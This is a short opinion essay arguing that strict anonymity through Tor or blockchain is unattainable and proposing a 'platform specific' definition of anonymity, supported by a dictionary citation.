While strict anonymity can be seen as a preference to a user attempting to conceal all aspects of their identity, it is infeasible and impossible to say the least. Tor, Blockchain, and other anonymizing technologies designed for a specific purpose can never be made to be infallible. After all, people do make mistakes and those are the elements that lend to defeating the security of a given program. As has been focused on, quantum technology would, undoubtedly, eradicate most of our current encryption technologies and render them useless.

If we are looking to define the type of anonymity offered by technologies like onion routing and blockchaining, then one definition could be platform specific anonymity—where anonymity is not defined as strict, but as a component of that given platform that is either difficult to defeat or cannot be realistically defeated with today's technology.

Defining anonymity as undefeatable stretches the purpose of the term in my opinion. Here is the general definition of the word anonymity as per the American Heritage Dictionary (found on Free Dictionary)[1]:

  The quality or state of being unknown or unacknowledged.
  One that is unknown or unacknowledged.

Anonymity does not refer to the quality of being incapable of being unmasked, merely the quality of being masked. In Information Security the ultimate goal is to protect a user's information to the best of one's abilities utilizing anonymizing software that is known to be effective by today's standards. Any security mechanism can theoretically be defeated, especially by a determined adversary with enough resources at their disposal. Tor is not perfect nor is Blockchain, but they offer a level of protection that is currently not simple to defeat (though Tor has definitely seen its browser compromised in the past as well as its nodes poisoned).

[1] For the American Heritage Dictionary definition:
American Heritage® Dictionary of the English Language, Fifth Edition. S.v. "anonymity." Retrieved April 20 2018 from https://www.thefreedictionary.com/anonymity